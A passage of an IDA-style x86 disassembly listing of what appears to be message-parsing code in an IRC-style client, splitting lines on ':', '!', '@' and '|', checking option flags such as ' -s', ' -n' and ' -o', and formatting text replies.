		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490D8
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_410662:				; CODE XREF: sub_410030+4FFj
		call	sub_401226


loc_410667:				; CODE XREF: sub_410030+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_4113F7
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	ecx, dword_4490C4
		push	eax
		push	ecx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_4106A0:				; CODE XREF: sub_410030+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F8
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_410722
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490FC
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_410727


loc_410722:				; CODE XREF: sub_410030+69Bj
		mov	[esp+20h+var_D], 1


loc_410727:				; CODE XREF: sub_410030+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	short loc_410794
		cmp	[ebp+16h], bl
		jnz	short loc_410770
		mov	ecx, offset byte_4493ED
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h


loc_410770:				; CODE XREF: sub_410030+713j
		mov	ecx, offset byte_4E8E45
		call	sub_4017EE
		push	eax
		mov	eax, dword_4490CC
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 10h
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410794:				; CODE XREF: sub_410030+70Ej
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D4
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		push	offset asc_444600 ; " "
		cmp	al, bl
		jz	short loc_410845
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_41082D
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_4015E1


loc_41082D:				; CODE XREF: sub_410030+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410845:				; CODE XREF: sub_410030+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	edx, dword_4490D0
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_410880
		mov	al, byte_449804
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_410884


loc_410880:				; CODE XREF: sub_410030+840j
		mov	[esp+20h+var_D], bl


loc_410884:				; CODE XREF: sub_410030+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410B91
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	96h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_4108E2
		mov	ecx, eax
		call	sub_402072


loc_4108E2:				; CODE XREF: sub_410030+8A9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_41090E
		mov	ecx, eax
		call	sub_4010BE


loc_41090E:				; CODE XREF: sub_410030+8D5j
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_401AAF
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jz	loc_410B7C


loc_41096F:				; CODE XREF: sub_410030+B46j
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_410997
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410999
; ---------------------------------------------------------------------------


loc_410997:				; CODE XREF: sub_410030+95Aj
		xor	esi, esi


loc_410999:				; CODE XREF: sub_410030+965j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_4109CB
		mov	ecx, eax
		call	sub_4010BE
		mov	[esp+20h+var_C], eax
		jmp	short loc_4109CF
; ---------------------------------------------------------------------------


loc_4109CB:				; CODE XREF: sub_410030+98Cj
		mov	[esp+20h+var_C], ebx


loc_4109CF:				; CODE XREF: sub_410030+999j
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4013ED
		test	eax, eax
		jz	short loc_4109F2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_4109F8
; ---------------------------------------------------------------------------


loc_4109F2:				; CODE XREF: sub_410030+9B7j
		mov	[esi+93h], bl


loc_4109F8:				; CODE XREF: sub_410030+9C0j
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A13
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410A19
; ---------------------------------------------------------------------------


loc_410A13:				; CODE XREF: sub_410030+9D8j
		mov	[esi+94h], bl


loc_410A19:				; CODE XREF: sub_410030+9E1j
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410A34
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410A3A
; ---------------------------------------------------------------------------


loc_410A34:				; CODE XREF: sub_410030+9F9j
		mov	[esi+95h], bl


loc_410A3A:				; CODE XREF: sub_410030+A02j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset byte_448F30
		lea	ecx, [esi+54h]
		call	sub_4015E1
		push	offset byte_448F30
		lea	ecx, [esi+3Fh]
		call	sub_4015E1
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		push	offset asc_4445EC ; "|"
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_4017EE
		push	eax
		mov	ecx, esi
		call	sub_4015E1
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410B29
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410B29:				; CODE XREF: sub_410030+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_4013DE
		inc	edi
		push	offset asc_4445EC ; "|"
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012EE
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_401226
		cmp	esi, ebx
		jnz	loc_41096F


loc_410B7C:				; CODE XREF: sub_410030+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410B91:				; CODE XREF: sub_410030+86Bj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490C8
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_410EAB
		push	96h
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_410C0B
		mov	ecx, eax
		call	sub_402072
		mov	esi, eax
		jmp	short loc_410C0D
; ---------------------------------------------------------------------------


loc_410C0B:				; CODE XREF: sub_410030+BCEj
		xor	esi, esi


loc_410C0D:				; CODE XREF: sub_410030+BD9j
		push	0ADh
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_437AEA
; ---------------------------------------------------------------------------
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_410C3C
		mov	ecx, eax
		call	sub_4010BE
		mov	edi, eax
		jmp	short loc_410C3E
; ---------------------------------------------------------------------------


loc_410C3C:				; CODE XREF: sub_410030+BFFj
		xor	edi, edi


loc_410C3E:				; CODE XREF: sub_410030+C0Aj
		push	offset aO	; " -o"
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C60
		mov	byte ptr [esi+95h], 1
		jmp	short loc_410C66
; ---------------------------------------------------------------------------


loc_410C60:				; CODE XREF: sub_410030+C25j
		mov	[esi+95h], bl


loc_410C66:				; CODE XREF: sub_410030+C2Ej
		push	offset aS_2	; " -s"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410C81
		mov	byte ptr [esi+93h], 1
		jmp	short loc_410C87
; ---------------------------------------------------------------------------


loc_410C81:				; CODE XREF: sub_410030+C46j
		mov	[esi+93h], bl


loc_410C87:				; CODE XREF: sub_410030+C4Fj
		push	offset aN_0	; " -n"
		lea	ecx, [esp+24h+var_8]
		call	sub_4013ED
		test	eax, eax
		jz	short loc_410CA2
		mov	byte ptr [esi+94h], 1
		jmp	short loc_410CA8
; ---------------------------------------------------------------------------


loc_410CA2:				; CODE XREF: sub_410030+C67j
		mov	[esi+94h], bl


loc_410CA8:				; CODE XREF: sub_410030+C70j
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_274]
		push	ebx
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_3C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Ah
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	edx, [esp+24h+arg_244]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Bh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 1Ch
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_244]
		mov	byte ptr [esp+20h+arg_246C], 1Bh
		call	sub_401226
		lea	ecx, [esp+20h+arg_3C4]
		mov	byte ptr [esp+20h+arg_246C], 1Ah
		call	sub_401226
		lea	ecx, [esp+20h+arg_274]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C60 ; "!"
		lea	eax, [esp+24h+arg_DC]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+24h+arg_C4]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Dh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+54h]
		mov	byte ptr [esp+24h+arg_246C], 1Eh
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_C4]
		mov	byte ptr [esp+20h+arg_246C], 1Dh
		call	sub_401226
		lea	ecx, [esp+20h+arg_DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset a@	; "@"
		lea	edx, [esp+24h+arg_13C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444600 ; " "
		lea	ecx, [esp+24h+arg_10C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 1Fh
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+3Fh]
		mov	byte ptr [esp+24h+arg_246C], 20h
		call	sub_401FDC
		mov	byte ptr [esp+20h+arg_246C], 1Fh
		lea	ecx, [esp+20h+arg_10C]
		call	sub_401226
		lea	ecx, [esp+20h+arg_13C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_16C]
		push	2
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 21h
		call	sub_401FDC
		lea	ecx, [esp+20h+arg_16C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		nop
		call	near ptr 77C47C60h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_410E7D
		add	eax, 2
		push	eax
		jmp	short loc_410E82
; ---------------------------------------------------------------------------


loc_410E7D:				; CODE XREF: sub_410030+E45j
		push	offset byte_448F30


loc_410E82:				; CODE XREF: sub_410030+E4Bj
		mov	ecx, esi
		call	sub_4015E1
		push	ebx
		push	esi
		mov	ecx, edi
		call	sub_401DFC
		cmp	esi, ebx
		jz	short loc_410E9F
		push	1
		mov	ecx, esi
		call	sub_4019E2


loc_410E9F:				; CODE XREF: sub_410030+E64j
		mov	ecx, edi
		call	sub_4013DE
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_410EAB:				; CODE XREF: sub_410030+BADj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_19C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490EC
		mov	byte ptr [esp+20h+arg_246C], 22h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_19C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411080
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	edx, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	edx
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_410F72
		sub	esp, 18h
		lea	ecx, [esp+38h+var_8]
		mov	eax, esp
		mov	[esp+38h+var_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	eax
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 23h
		mov	ecx, esp
		mov	[esp+50h+arg_C], esp
		push	offset asc_444600 ; " "
		push	3
		push	ecx
		lea	ecx, [esp+5Ch+var_8]
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], bl
		call	sub_40212B


loc_410F72:				; CODE XREF: sub_410030+EF3j
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_1CC]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset byte_4E8E45
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 24h
		call	sub_401B86
		test	eax, eax
		lea	ecx, [esp+20h+arg_1CC]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+24h+arg_22C]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_1FC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 25h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 26h
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_25C]
		call	sub_401870
		lea	ecx, [esp+20h+arg_1FC]
		mov	byte ptr [esp+20h+arg_246C], 29h
		call	sub_401226
		lea	ecx, [esp+20h+arg_22C]
		mov	byte ptr [esp+20h+arg_246C], 28h
		call	sub_401226
		mov	ecx, offset byte_4493ED
		mov	[ebp+16h], bl
		call	sub_4017EE
		push	eax
		mov	ecx, offset dword_4493A4
		call	sub_4017EE
		mov	edx, dword_4490C4
		push	eax
		push	edx
		push	offset aSSS_0	; "%s %s %s\r\n"
		push	ebp
		call	sub_401E24
		add	esp, 14h
		lea	ecx, [esp+20h+arg_25C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411080:				; CODE XREF: sub_410030+EC7j
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_28C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490E0
		mov	byte ptr [esp+20h+arg_246C], 2Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_28C]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_411238
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_2EC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		push	offset asc_444C60 ; "!"
		lea	ecx, [esp+24h+arg_2BC]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+2Ch+arg_246C], 2Bh
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 2Ch
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+24h+arg_34]
		call	sub_401870
		lea	ecx, [esp+20h+arg_2BC]
		mov	byte ptr [esp+20h+arg_246C], 2Fh
		call	sub_401226
		lea	ecx, [esp+20h+arg_2EC]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		mov	esi, dword_511B04
		push	eax
		call	esi	; strstr
		add	esp, 8
		test	eax, eax
		jz	loc_411223
		push	offset asc_444C5C ; " :"
		lea	ecx, [esp+24h+var_8]
		call	sub_4014DD
		push	eax
		call	esi	; strstr
		add	esp, 8
		lea	ecx, [esp+20h+arg_64]
		push	eax
		call	sub_401870
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_34]
		mov	byte ptr [esp+24h+arg_246C], 30h
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		push	offset byte_448F30
		lea	ecx, [esp+24h+arg_64]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_41120F
		sub	esp, 18h
		lea	edx, [esp+38h+arg_34]
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	edx
		call	sub_4014D3
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		cmp	eax, ebx
		jz	short loc_4111EB
		lea	ecx, [esp+20h+arg_64]
		push	ecx
		lea	ecx, [eax+19h]
		call	sub_401FDC


loc_4111EB:				; CODE XREF: sub_410030+11A9j
		push	offset byte_4E8E45
		lea	ecx, [esp+24h+arg_34]
		call	sub_401B86
		test	eax, eax
		jnz	short loc_41120F
		lea	edx, [esp+20h+arg_64]
		mov	ecx, offset byte_4E8E45
		push	edx
		call	sub_401FDC


loc_41120F:				; CODE XREF: sub_410030+1173j
					; sub_410030+1188j ...
		lea	ecx, [esp+20h+arg_64]
		mov	byte ptr [esp+20h+arg_246C], 2Eh
		call	sub_401226


loc_411223:				; CODE XREF: sub_410030+1134j
		lea	ecx, [esp+20h+arg_34]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	loc_4113F7
; ---------------------------------------------------------------------------


loc_411238:				; CODE XREF: sub_410030+109Cj
		push	offset asc_444600 ; " "
		lea	eax, [esp+24h+arg_34C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_4490F0
		mov	byte ptr [esp+20h+arg_246C], 31h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4112BF
		push	offset asc_444600 ; " "
		lea	edx, [esp+24h+arg_31C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		mov	ecx, dword_449100
		mov	byte ptr [esp+20h+arg_246C], 32h
		push	ecx
		mov	ecx, eax
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+20h+arg_31C]
		mov	byte ptr [esp+20h+arg_246C], 31h
		setz	[esp+20h+var_D]
		call	sub_401226
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_4112C4


loc_4112BF:				; CODE XREF: sub_410030+1238j
		mov	[esp+20h+var_D], 1


loc_4112C4:				; CODE XREF: sub_410030+128Dj
		lea	ecx, [esp+20h+arg_34C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	[esp+20h+var_D], bl
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_37C]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 33h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		call	sub_401CE4
		lea	ecx, [esp+20h+arg_37C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		cmp	esi, ebx
		jz	loc_4113F7
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+24h+arg_3DC]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+38h+arg_246C], 34h
		mov	ecx, esp
		mov	[esp+38h+arg_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+3Ch+arg_3AC]
		push	1
		push	edx
		lea	ecx, [esp+44h+var_8]
		mov	byte ptr [esp+44h+arg_246C], 35h
		call	sub_4016B8
		sub	esp, 18h
		mov	byte ptr [esp+50h+arg_246C], 36h
		mov	ecx, esp
		mov	[esp+50h+var_C], esp
		push	offset asc_444C60 ; "!"
		push	ebx
		push	ecx
		mov	ecx, eax
		call	sub_4016B8
		mov	ecx, offset word_44AC5E
		mov	byte ptr [esp+50h+arg_246C], 37h
		call	sub_40212B
		lea	ecx, [esp+20h+arg_3AC]
		mov	byte ptr [esp+20h+arg_246C], 34h
		call	sub_401226
		lea	ecx, [esp+20h+arg_3DC]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_401226
		jmp	short loc_4113F7
; ---------------------------------------------------------------------------


loc_4113F0:				; CODE XREF: sub_410030+391j
		mov	ecx, ebp
		call	sub_401D20


loc_4113F7:				; CODE XREF: sub_410030+1D3j
					; sub_410030+253j ...
		cmp	[ebp+17h], bl
		jnz	loc_410072


loc_411400:				; CODE XREF: sub_410030+3Cj
					; sub_410030+4Fj
		lea	ecx, [esp+20h+var_8]
		mov	[esp+20h+arg_246C], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+20h+arg_2464]
		pop	edi
		pop	esi
		pop	ebp
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 2484h
		retn
sub_410030	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 90h
		db 500h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_411930	proc near		; CODE XREF: sub_4010BEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_411930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		call	sub_401E88
		lea	ecx, [esi+15h]
		mov	[esp+14h+var_4], 0
		call	sub_402072
		mov	ecx, [esp+14h+var_C]
		mov	dword ptr [esi], offset	off_43F038
		mov	dword ptr [esi+11h], 0
		mov	byte ptr [esi+0ABh], 0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_411930	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4119B0:				; CODE XREF: ___:loc_40115Ej
					; ___:004016F4j
		push	esi
		mov	esi, ecx
		call	sub_40101E
		test	byte ptr [esp+8], 1
		jz	short loc_4119C8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_4119C8:				; CODE XREF: ___:004119BDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4119E0	proc near		; CODE XREF: sub_40101Ej

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4119E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		mov	dword ptr [esi], offset	off_43F038
		lea	ecx, [esi+15h]
